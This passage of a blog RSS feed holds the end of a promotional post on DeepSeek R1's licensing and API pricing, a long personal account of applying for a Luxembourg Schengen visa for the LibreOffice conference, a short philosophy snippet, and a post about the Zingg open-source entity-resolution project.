<p>DeepSeek R1 is released under the <strong>MIT License</strong>, which grants users the freedom to use, modify, and distribute the model for both personal and commercial purposes without restrictions<span class="ds-markdown-cite">1</span><span class="ds-markdown-cite">6</span>. This open-source approach fosters collaboration and innovation within the AI community, enabling researchers and developers to build upon DeepSeek R1’s capabilities.</p>
<p>Additionally, DeepSeek has open-sourced <strong>six distilled models</strong> (ranging from 1.5B to 70B parameters) based on Qwen and Llama architectures. These smaller models retain the reasoning capabilities of R1, making them suitable for resource-constrained environments<span class="ds-markdown-cite">1</span><span class="ds-markdown-cite">4</span>.</p>
<h2>API Usage: Empowering Developers and Enterprises</h2>
<p>DeepSeek R1’s API integration is another standout feature, offering developers and businesses a powerful tool to incorporate AI into their workflows. Here’s how the API can be used:</p>
<h3>1. <strong>Seamless Integration</strong></h3>
<p>The DeepSeek R1 API is designed for easy integration with existing systems, allowing developers to quickly deploy AI capabilities without extensive reconfiguration<span class="ds-markdown-cite">2</span><span class="ds-markdown-cite">6</span>.</p>
<h3>2. <strong>Cost-Effective Pricing</strong></h3>
<p>DeepSeek R1’s API is significantly more affordable than competitors like OpenAI, with pricing at <strong><span class="katex"><span class="katex-mathml">0.55permillioninputtokens∗∗and∗∗</span><span class="katex-html" aria-hidden="true"><span class="base"><span class="mord">0.55</span><span class="mord mathnormal">p</span><span class="mord mathnormal">er</span><span class="mord mathnormal">mi</span><span class="mord mathnormal">ll</span><span class="mord mathnormal">i</span><span class="mord mathnormal">o</span><span class="mord mathnormal">nin</span><span class="mord mathnormal">p</span><span class="mord mathnormal">u</span><span class="mord mathnormal">tt</span><span class="mord mathnormal">o</span><span class="mord mathnormal">k</span><span class="mord mathnormal">e</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mbin">∗</span></span><span class="base"><span class="mord">∗</span><span class="mord mathnormal">an</span><span class="mord mathnormal">d</span><span class="mbin">∗</span></span><span class="base"><span class="mord">∗</span></span></span></span>2.19 per million output tokens</strong><span class="ds-markdown-cite">2</span><span class="ds-markdown-cite">8</span>.</p>
<h3>3. <strong>Real-World Applications</strong></h3>
<ul>
<li><strong>Healthcare</strong>: Use the API to analyze patient data, generate reports, and assist in diagnosis.</li>
<li><strong>Finance</strong>: Integrate R1 for risk assessment, market analysis, and automated trading.</li>
<li><strong>Education</strong>: Create personalized learning experiences and automate administrative tasks.</li>
<li><strong>Customer Support</strong>: Deploy AI-powered chatbots for efficient and accurate customer service</li>
</ul>
<h2>Conclusion</h2>
<p>DeepSeek R1 represents a significant leap forward in AI technology, combining the power of <strong>DeepThinking</strong> with seamless API integration and open-source accessibility. Whether you’re a developer looking to build cutting-edge applications or an enterprise seeking to optimize workflows, DeepSeek R1 offers the tools and capabilities to meet your needs.</p>
<p>With its focus on reasoning, adaptability, and ethical AI, DeepSeek R1 is not just a competitor to GPT-4—it’s a step toward the future of artificial intelligence.</p>
<p>&nbsp;</p>
<p>The post <a href="https://ibcomputing.com/deepseek-r1/" data-wpel-link="internal">DeepSeek R1: Revolutionizing AI with Open Source and  DeepThinking</a> appeared first on <a href="https://ibcomputing.com" data-wpel-link="internal">IB Computing</a>.</p>
]]></content:encoded>
            <author>Mujeeb cpy</author>
            <category>AI</category>
            <category>News</category>
            <category>artificial intelligence</category>
        </item>
        <item>
            <title><![CDATA[The Arduous Luxembourg Visa Process]]></title>
            <link>https://ravidwivedi.in/posts/luxembourg-visa-process/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/luxembourg-visa-process/</guid>
            <pubDate>Tue, 21 Jan 2025 10:45:57 GMT</pubDate>
            <description><![CDATA[In 2024, I was sponsored by The Document Foundation (TDF) to attend the LibreOffice annual conference in Luxembourg from the 10th to the 12th of October. Being an Indian passport holder, I needed a visa to visit Luxembourg. However, due to my Kenya trip coming up in September, I ran into a dilemma: whether to apply before or after the Kenya trip.
To obtain a visa, I needed to submit my application with VFS Global (and not with the Luxembourg embassy directly). Therefore, I checked the VFS website for information on processing time, which says:
As a rule, the processing time of an admissible Schengen visa application should not exceed 15 calendar days (from the date the application is received at the Embassy).
It also mentions:
If the application is received less than 15 calendar days before the intended travel date, the Embassy can deem your application inadmissible. If so, your visa application will not be processed by the Embassy and the application will be sent back to VFS along with the passport.
If I applied for the Luxembourg visa before my trip, I would run the risk of not getting my passport back in time, and therefore missing my Kenya flight. On the other hand, if I waited until after returning from Kenya, I would run afoul of the aforementioned 15 working days needed by the embassy to process my application.
I had previously applied for a Schengen visa for Austria, which was completed in 7 working days. My friends who had been to France told me they got their visa decision within a week. So, I compared Luxembourg’s application numbers with those of other Schengen countries. In 2023, Luxembourg received 3,090 applications from India, while Austria received 39,558, Italy received 52,332 and France received 176,237. Since Luxembourg receives a far fewer number of applications, I expected the process to be quick.
Therefore, I submitted my visa application with VFS Global in Delhi on the 5th of August, giving the embassy a month with 18 working days before my Kenya trip. However, I didn’t mention my Kenya trip in the Luxembourg visa application.
For reference, here is a list of documents I submitted:
Passport
Photocopy of passport data pages
Visa application form
One photograph
Visa appointment confirmation
Cover letter
Return flight reservations
Hotel bookings
Invitation letter from the conference organizer, TDF
Confirmation from The Luxembourg Convention Bureau G.I.E - the venue
Last three months bank account statement with bank seal
Travel insurance
Income Tax Return Statement
Monthly payslips for the last three months
I submitted ‘flight reservations’ instead of ‘flight tickets’. It is because, in case of visa rejection, I would have lost a significant amount of money if I booked confirmed flight tickets. The embassy also recommends the same. After the submission of documents, my fingerprints were taken.
The expenses for the visa application were as follows:
Service Description
Amount (INR)




Visa Fee
8,114


VFS Global Fee
1,763


Courier
800


Total
10,677



Going by the email notifications I received from VFS, my application reached the Luxembourg embassy the next day. Fast-forward to the 27th of August — 14th day of my visa application. I had already booked my flight ticket to Nairobi for the 4th of September, but my passport was still with the Luxembourg embassy, and I hadn’t heard back. In addition, I also obtained Kenya’s eTA and got vaccinated for Yellow Fever, a requirement to travel to Kenya.
In order to check on my application status, I gave the embassy a phone call, but missed their calling window, which was easy to miss since it was only 1 hour - 12:00 to 1:00 PM. So, I dropped them an email explaining my situation. At this point, I was already wondering whether to cancel the Kenya trip or the Luxembourg one, if I had to choose.
After not getting a response to my email, I called them again the next day. The embassy told me they would look into it and asked me to send my flight tickets over email. One week to go before my flight now.
I followed up with the embassy on the 30th by a phone call, and the person who picked up the call told me that my request had already been forwarded to the concerned department and is under process. They asked me to follow up on Monday, 2nd September.
During the visa process, I was in touch with three other Indian attendees.1 In the meantime, I got to know that all of them had applied for a Luxembourg visa by the end of the month of August.
Back to our story, over the next two days, the embassy closed for the weekend. I began weighing my options. On one hand, I could cancel the Kenya trip and hope that Luxembourg goes through. Even then, Luxembourg wasn’t guaranteed as the visa could get rejected, so I might have ended up missing both the trips. On the other hand, I could cancel the Luxembourg visa application and at least be sure of going to Kenya. However, I thought it would make Luxembourg very unlikely because it didn’t leave 15 working days for the embassy to process my visa after returning from Kenya. I also badly wanted to attend the LibreOffice conference because I couldn’t make it two years ago. Therefore, I chose not to cancel my Luxembourg visa application. I checked with my travel agent and learned that I could cancel my Nairobi flight before September 4th for a cancelation fee of approximately 7,000 INR.
On the 2nd of September, I was a bit frustrated because I hadn’t heard anything from the embassy regarding my request. Therefore, I called the embassy again. They assured me that they would arrange a call for me from the concerned department that day, which I did receive later that evening. During the call, they offered to return my passport via VFS the next day and asked me to resubmit it after returning from Kenya. I immediately accepted the offer and was overjoyed, as it would enable me to take my flight to Nairobi without canceling my Luxembourg visa application. However, I didn’t have the offer in writing, so it wasn’t clear to me how I would collect my passport from VFS. The next day, I would receive it when I would be on my way to VFS in the form of an email from the embassy which read:
Dear Mr. Dwivedi,
We acknowledge the receipt of your email.
As you requested, we are returning your passport exceptionally through VFS, you can collect it directly from VFS Delhi Center between 14:00-17:00 hrs, 03 Sep 2024. Kindly bring the printout of this email along with your VFS deposit receipt and Original ID proof.
Once you are back from your trip, you can redeposit the passport with VFS Luxembourg for our processing.
With best regards,
GRAND DUCHY OF LUXEMBOURG
I took a printout of the email and submitted it to VFS to get my passport. This seemed like a miracle - just when I lost all hope of making it to my Kenya flight and was mentally preparing myself to miss it, I got my passport back “exceptionally” and now I had to mentally prepare again for Kenya. I had never heard of an embassy returning passport before completing the visa process before. The next day, I took my flight to Nairobi as planned. In case you are interested, I have written two blog posts on my Kenya trip - one on the OpenStreetMap conference in Nairobi and the other on my travel experience in Kenya.
After returning from Kenya, I resubmitted my passport on the 17th of September. Fast-forward to the 25th of September; I didn’t hear anything from the embassy about my application process. So, I checked with TDF to see whether the embassy reached out to them. They told me they confirmed my participation and my hotel booking to the visa authorities on the 19th of September (6 days ago). I was wondering what was taking so long after the verification.
On the 1st of October, I received a phone call from the Luxembourg embassy, which turned out to be a surprise interview. They asked me about my work, my income, how I came to know about the conference, whether I had been to Europe before, etc. The call lasted around 10 minutes. At this point, my travel date - 8th of October - was just two working days away as the 2nd of October was off due to Gandhi Jayanti and 5th and 6th October were weekends, leaving only the 3rd and the 4th. I am not sure why the embassy saved this for the last moment, even though I submitted my application 2 months ago. I also got to know that one of the other Indian attendees missed the call due to being in their college lab, where he was not allowed to take phone calls. Therefore, I recommend that the embassy agree on a time slot for the interview call beforehand.
Visa decisions for all the above-mentioned Indian attendees were sent by the embassy on the 4th of October, and I received mine on the 5th. For my travel date of 8th October, this was literally the last moment the embassy could send my visa. The parcel contained my passport and a letter. The visa was attached to a page in the passport. I was happy that my visa had been approved. However, the timing made my task challenging. The enclosed letter stated:
Subject: Your Visa Application for Luxembourg
Dear Applicant,
We would like to inform you that a Schengen visa has been granted for the 8-day duration from 08/10/2024 to 30/10/2024 for conference purposes in Luxembourg.
You are requested to report back to the Embassy of Luxembourg in New Delhi through an email (email address redacted) after your return with the following documents:
Immigration Stamps (Entry and Exit of Schengen Area)
Restaurant Bills
Shopping/Hotel/Accommodation bills
Failure to report to the Embassy after your return will be taken into consideration for any further visa applications.
I understand the embassy wanting to ensure my entry and exit from the Schengen area during the visa validity period, but found the demand for sending shopping bills excessive. Further, not everyone was as lucky as I was as it took a couple of days for one of the Indian attendees to receive their visa, delaying their plan. Another attendee had to send their father to the VFS center to collect their visa in time, rather than wait for the courier to arrive at their home.
Foreign travel is complicated, especially for the citizens of countries whose passports and currencies are weak. Embassies issuing visas a day before the travel date doesn’t help. For starters, a last-minute visa does not give enough time for obtaining a forex card as banks ask for the visa. Further, getting foreign currency (Euros in our case) in cash with a good exchange rate becomes difficult. As an example, for the Kenya trip, I had to get US Dollars at the airport due to the plan being finalized at the last moment, worsening the exchange rate. Back to the current case, the flight prices went up significantly compared to September, almost doubling. The choice of airlines also got narrowed, as most of the flights got booked by the time I received my visa. With all that said, I think it was still better than an arbitrary rejection.
Credits: Contrapunctus, Badri, Fletcher, Benson, and Anirudh for helping with the draft of this post.
Thanks to Sophie, our point of contact for the conference, for putting me in touch with them. ↩︎]]></description>
            <content:encoded><![CDATA[<p>In 2024, I was sponsored by <a href="https://www.documentfoundation.org/">The Document Foundation (TDF)</a> to attend the <a href="https://conference.libreoffice.org/2024/">LibreOffice annual conference</a> in Luxembourg from the 10th to the 12th of October. Being an Indian passport holder, I needed a visa to visit Luxembourg. However, due to my Kenya trip coming up in September, I ran into a dilemma: whether to apply before or after the Kenya trip.</p>
<p>To obtain a visa, I needed to submit my application with VFS Global (and not with the Luxembourg embassy directly). Therefore, I checked the VFS website for information on <a href="https://www.vfsglobal.com/one-pager/luxembourg/india/english/index.html">processing time</a>, which says:</p>
<blockquote>
<p>As a rule, the processing time of an admissible Schengen visa application should not exceed 15 calendar days (from the date the application is received at the Embassy).</p>
</blockquote>
<p>It also mentions:</p>
<blockquote>
<p>If the application is received less than 15 calendar days before the intended travel date, the Embassy can deem your application inadmissible. If so, your visa application will not be processed by the Embassy and the application will be sent back to VFS along with the passport.</p>
</blockquote>
<p>If I applied for the Luxembourg visa before my trip, I would run the risk of not getting my passport back in time, and therefore missing my Kenya flight. On the other hand, if I waited until after returning from Kenya, I would run afoul of the aforementioned 15 working days needed by the embassy to process my application.</p>
<p>I had previously <a href="https://ravidwivedi.in/posts/austrian-visa-refusal-jan-2024">applied for a Schengen visa for Austria</a>, which was completed in 7 working days. My friends who had been to France told me they got their visa decision within a week. So, I compared Luxembourg&rsquo;s application numbers with those of other Schengen countries. In 2023, Luxembourg <a href="https://www.schengenvisainfo.com/statistics/luxembourg/">received 3,090</a> applications from India, while Austria <a href="https://www.schengenvisainfo.com/statistics/austria/">received 39,558</a>, Italy <a href="https://www.schengenvisainfo.com/statistics/italy/">received 52,332</a> and France <a href="https://www.schengenvisainfo.com/statistics/france/">received 176,237</a>. Since Luxembourg receives a far fewer number of applications, I expected the process to be quick.</p>
<p>Therefore, I submitted my visa application with VFS Global in Delhi on the 5th of August, giving the embassy a month with 18 working days before my Kenya trip. However, I didn&rsquo;t mention my Kenya trip in the Luxembourg visa application.</p>
<p>For reference, here is a list of documents I submitted:</p>
<ul>
<li>Passport</li>
<li>Photocopy of passport data pages</li>
<li>Visa application form</li>
<li>One photograph</li>
<li>Visa appointment confirmation</li>
<li>Cover letter</li>
<li>Return flight reservations</li>
<li>Hotel bookings</li>
<li>Invitation letter from the conference organizer, TDF</li>
<li>Confirmation from The Luxembourg Convention Bureau G.I.E - the venue</li>
<li>Last three months bank account statement with bank seal</li>
<li>Travel insurance</li>
<li>Income Tax Return Statement</li>
<li>Monthly payslips for the last three months</li>
</ul>
<p>I submitted &lsquo;flight reservations&rsquo; instead of &lsquo;flight tickets&rsquo;. It is because, in case of visa rejection, I would have lost a significant amount of money if I booked confirmed flight tickets. The embassy also recommends the same. After the submission of documents, my fingerprints were taken.</p>
<p>The expenses for the visa application were as follows:</p>
<table>
<thead>
<tr>
<th style="text-align:left">Service Description</th>
<th style="text-align:right">Amount (INR)</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:left">Visa Fee</td>
<td style="text-align:right">8,114</td>
</tr>
<tr>
<td style="text-align:left">VFS Global Fee</td>
<td style="text-align:right">1,763</td>
</tr>
<tr>
<td style="text-align:left">Courier</td>
<td style="text-align:right">800</td>
</tr>
<tr>
<td style="text-align:left"><strong>Total</strong></td>
<td style="text-align:right"><strong>10,677</strong></td>
</tr>
</tbody>
</table>
<p>Going by the email notifications I received from VFS, my application reached the Luxembourg embassy the next day. Fast-forward to the 27th of August — 14th day of my visa application. I had already booked my flight ticket to Nairobi for the 4th of September, but my passport was still with the Luxembourg embassy, and I hadn’t heard back. In addition, I also obtained Kenya&rsquo;s eTA and got vaccinated for Yellow Fever, a requirement to travel to Kenya.</p>
<p>In order to check on my application status, I gave the embassy a phone call, but missed their calling window, which was easy to miss since it was only 1 hour - 12:00 to 1:00 PM. So, I dropped them an email explaining my situation. At this point, I was already wondering whether to cancel the Kenya trip or the Luxembourg one, if I had to choose.</p>
<p>After not getting a response to my email, I called them again the next day. The embassy told me they would look into it and asked me to send my flight tickets over email. One week to go before my flight now.</p>
<p>I followed up with the embassy on the 30th by a phone call, and the person who picked up the call told me that my request had already been forwarded to the concerned department and is under process. They asked me to follow up on Monday, 2nd September.</p>
<p>During the visa process, I was in touch with three other Indian attendees.<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup> In the meantime, I got to know that all of them had applied for a Luxembourg visa by the end of the month of August.</p>
<p>Back to our story, over the next two days, the embassy closed for the weekend. I began weighing my options. On one hand, I could cancel the Kenya trip and hope that Luxembourg goes through. Even then, Luxembourg wasn&rsquo;t guaranteed as the visa could get rejected, so I might have ended up missing both the trips. On the other hand, I could cancel the Luxembourg visa application and at least be sure of going to Kenya. However, I thought it would make Luxembourg very unlikely because it didn&rsquo;t leave 15 working days for the embassy to process my visa after returning from Kenya. I also badly wanted to attend the LibreOffice conference because I <a href="https://ravidwivedi.in/posts/couldnt-attend-libreoffice-conference/">couldn&rsquo;t make it</a> two years ago. Therefore, I chose not to cancel my Luxembourg visa application. I checked with my travel agent and learned that I could cancel my Nairobi flight before September 4th for a cancelation fee of approximately 7,000 INR.</p>
<p>On the 2nd of September, I was a bit frustrated because I hadn&rsquo;t heard anything from the embassy regarding my request. Therefore, I called the embassy again. They assured me that they would arrange a call for me from the concerned department that day, which I did receive later that evening. During the call, they offered to return my passport via VFS the next day and asked me to resubmit it after returning from Kenya. I immediately accepted the offer and was overjoyed, as it would enable me to take my flight to Nairobi without canceling my Luxembourg visa application. However, I didn&rsquo;t have the offer in writing, so it wasn&rsquo;t clear to me how I would collect my passport from VFS. The next day, I would receive it when I would be on my way to VFS in the form of an email from the embassy which read:</p>
<blockquote>
<p>Dear Mr. Dwivedi,</p>
<p>We acknowledge the receipt of your email.</p>
<p>As you requested, we are returning your passport exceptionally through VFS, you can collect it directly from VFS Delhi Center between 14:00-17:00 hrs, 03 Sep 2024. Kindly bring the printout of this email along with your VFS deposit receipt and Original ID proof.</p>
<p>Once you are back from your trip, you can redeposit the passport with VFS Luxembourg for our processing.</p>
<p>With best regards,<br>
Consular Section</p>
<p>GRAND DUCHY OF LUXEMBOURG<br>
Embassy in New Delhi</p>
</blockquote>
<p>I took a printout of the email and submitted it to VFS to get my passport. This seemed like a miracle - just when I lost all hope of making it to my Kenya flight and was mentally preparing myself to miss it, I got my passport back &ldquo;exceptionally&rdquo; and now I had to mentally prepare again for Kenya. I had never heard of an embassy returning passport before completing the visa process before. The next day, I took my flight to Nairobi as planned. In case you are interested, I have written two blog posts on my Kenya trip - one on the <a href="https://ravidwivedi.in/posts/sotm-2024/">OpenStreetMap conference in Nairobi</a> and the other on <a href="https://ravidwivedi.in/posts/kenya-trip">my travel experience in Kenya</a>.</p>
<p>After returning from Kenya, I resubmitted my passport on the 17th of September. Fast-forward to the 25th of September; I didn&rsquo;t hear anything from the embassy about my application process. So, I checked with TDF to see whether the embassy reached out to them. They told me they confirmed my participation and my hotel booking to the visa authorities on the 19th of September (6 days ago). I was wondering what was taking so long after the verification.</p>
<p>On the 1st of October, I received a phone call from the Luxembourg embassy, which turned out to be a surprise interview. They asked me about my work, my income, how I came to know about the conference, whether I had been to Europe before, etc. The call lasted around 10 minutes. At this point, my travel date - 8th of October - was just two working days away as the 2nd of October was off due to Gandhi Jayanti and 5th and 6th October were weekends, leaving only the 3rd and the 4th. I am not sure why the embassy saved this for the last moment, even though I submitted my application 2 months ago. I also got to know that one of the other Indian attendees missed the call due to being in their college lab, where he was not allowed to take phone calls. Therefore, I recommend that the embassy agree on a time slot for the interview call beforehand.</p>
<p>Visa decisions for all the above-mentioned Indian attendees were sent by the embassy on the 4th of October, and I received mine on the 5th. For my travel date of 8th October, this was literally the last moment the embassy could send my visa. The parcel contained my passport and a letter. The visa was attached to a page in the passport. I was happy that my visa had been approved. However, the timing made my task challenging. The enclosed letter stated:</p>
<blockquote>
<p><strong>Subject: Your Visa Application for Luxembourg</strong></p>
</blockquote>
<blockquote>
<p>Dear Applicant,</p>
<p>We would like to inform you that a Schengen visa has been granted for the 8-day duration from 08/10/2024 to 30/10/2024 for <u>conference purposes in <strong>Luxembourg</strong></u>.</p>
<p><strong>You are requested to report back</strong> to the Embassy of Luxembourg in New Delhi through an email (email address redacted) after your return with the following documents:</p>
<ul>
<li>Immigration Stamps (Entry and Exit of Schengen Area)</li>
<li>Restaurant Bills</li>
<li>Shopping/Hotel/Accommodation bills</li>
</ul>
<p><u>Failure to report</u> to the Embassy after your return will be taken into consideration for any further visa applications.</p>
</blockquote>
<p>I understand the embassy wanting to ensure my entry and exit from the Schengen area during the visa validity period, but found the demand for sending shopping bills excessive. Further, not everyone was as lucky as I was as it took a couple of days for one of the Indian attendees to receive their visa, delaying their plan. Another attendee had to send their father to the VFS center to collect their visa in time, rather than wait for the courier to arrive at their home.</p>
<p>Foreign travel is complicated, especially for the citizens of countries whose passports and currencies are weak. Embassies issuing visas a day before the travel date doesn’t help. For starters, a last-minute visa does not give enough time for obtaining a forex card as banks ask for the visa. Further, getting foreign currency (Euros in our case) in cash with a good exchange rate becomes difficult. As an example, for the Kenya trip, I had to get US Dollars at the airport due to the plan being finalized at the last moment, worsening the exchange rate. Back to the current case, the flight prices went up significantly compared to September, almost doubling. The choice of airlines also got narrowed, as most of the flights got booked by the time I received my visa. With all that said, I think it was still better than an arbitrary rejection.</p>
<p><strong>Credits: <a href="https://contrapunctus.codeberg.page/">Contrapunctus</a>, <a href="https://badrihippo.thekambattu.rocks/">Badri</a>, Fletcher, Benson, and <a href="https://codeberg.org/ravidwivedi/ravidwivedi.in/issues/5">Anirudh</a> for helping with the draft of this post.</strong></p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>Thanks to Sophie, our point of contact for the conference, for putting me in touch with them.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[The feeling of thoughts]]></title>
            <link>https://www.prashanthudupa.com/the-feeling-of-thoughts/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/the-feeling-of-thoughts/</guid>
            <pubDate>Mon, 20 Jan 2025 16:25:36 GMT</pubDate>
            <description><![CDATA[When I look at an object, like the cup on the table next to my laptop right now, the visual feel of the object is entirely driven by the physical object itself. In this case, I am not imagining or making up the visual feel of the cup. It looks the way the cup intends […]]]></description>
            <content:encoded><![CDATA[When I look at an object, like the cup on the table next to my laptop right now, the visual feel of the object is entirely driven by the physical object itself. In this case, I am not imagining or making up the visual feel of the cup. It looks the way the cup intends [&#8230;]]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Insight</category>
            <category>Philosophy</category>
        </item>
        <item>
            <title><![CDATA[The open source identity resolution journey so far..]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/the-open-source-identity-resolution</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/the-open-source-identity-resolution</guid>
            <pubDate>Tue, 07 Jan 2025 15:32:54 GMT</pubDate>
            <description><![CDATA[More than a decade ago, in the year 2013, the identity resolution problem hit me.]]></description>
            <content:encoded><![CDATA[<p>More than a decade ago, in the year 2013, the identity resolution problem hit me. As a niche consulting company focused on data and AI, we were tasked with integrating customer records from disparate systems. Our project involved setting up a Hadoop cluster on Amazon EC2 and building out the analytics and reporting for our client. This was the time when services like Elastic Map Reduce were about to get launched. It felt like an engineering feat that we could run Hadoop on the cloud through custom scripts. In a way, we were actually mimicking today&#8217;s serverless approaches. </p><p>We built data extraction, transformation, and loading pipelines along with the reporting using Sqoop, Pig, Hive, and Cascading. But, as we got along the project, we faced a critical issue. Even when we got all the data in one place, it was extremely challenging to identify the real world entity represented by the varying records from different systems. Since the records did not have any common identifiers and they also had all sorts of variations, unifying the data became the biggest issue for us on that project.  </p><p>Once I became aware of the problem, I started seeing it in other projects. Even when I was doing different work, the problem kind of never left me. How do we say that the records are a match? How do we scale this out? How do we run it for any entity which can appear for an enterprise? For the programmer in me, it became a thrill ride of problem solving with lots of first principle thinking. The more I worked on it, the more challenges I became aware of. Eventually, I got completely immersed and stopped taking other consulting work to focus on building a generic solution. <br><br>When I showed an early version to my friend and mentor <a href="https://www.linkedin.com/in/joydeeps/">Joydeep Sen Sarma</a>, creator of Apache Hive, he encouraged me to open source it. As an active consumer of amazing open source technologies, it was a great way to contribute back. So I latched on to the idea. Here is what I <a href="https://www.learningfromdata.zingg.ai/p/time-to-zingg">wrote</a> when I published Zingg:</p><blockquote><p>I also feel that open source Zingg is more powerful than closed source, because then it is up to the community to put it to use in more ways than I have seen and could ever anticipate. It is also a <em>promise</em> to work closely with different people and collaborate, something I am very sincerely hoping will happen!</p></blockquote><p>I was convinced there were more people like me, but it was not clear if they would find me. Fast forward to today - the Zingg open source community is 700+ members strong. Turns out what felt like an esoteric problem to me is a strongly felt pain for enterprises. Starting with a single person, Zingg now has a founding team that cares deeply about entity resolution. Zingg resolves billions of records every month and our users and customers come from diverse industries like healthcare, insurance, government sector, non profits as well as startups. This love and support is driving us to innovate more, and we are building amazing stuff to run production loads with a <a href="https://www.zingg.ai/product/features/zingg-id">persistent ZINGG_ID</a> along with <a href="https://www.zingg.ai/product/features/incremental-flow">incremental flows</a>. We continue to work extensively on accuracy and performance. Zingg also supports diverse deployments on <a href="https://www.zingg.ai/product/fabric">Microsoft Fabric</a>, <a href="https://www.zingg.ai/product/snowflake/snowflake">Snowflake</a>, AWS Glue, <a href="https://www.zingg.ai/product/databricks/databricks">Databricks</a>, and others. <br><br>All this would not have been possible without our community members, well wishers and supporters. Thank you all, you have made this journey well worth it</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!BIuc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!BIuc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 424w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 848w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!BIuc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg" width="1000" height="668" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:668,&quot;width&quot;:1000,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:143625,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!BIuc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 424w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 848w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!BIuc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F82917998-fa78-4dbd-b6a5-aa294fbe9454_1000x668.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>!</p>]]></content:encoded>
            <author>Sonal Goyal</author>
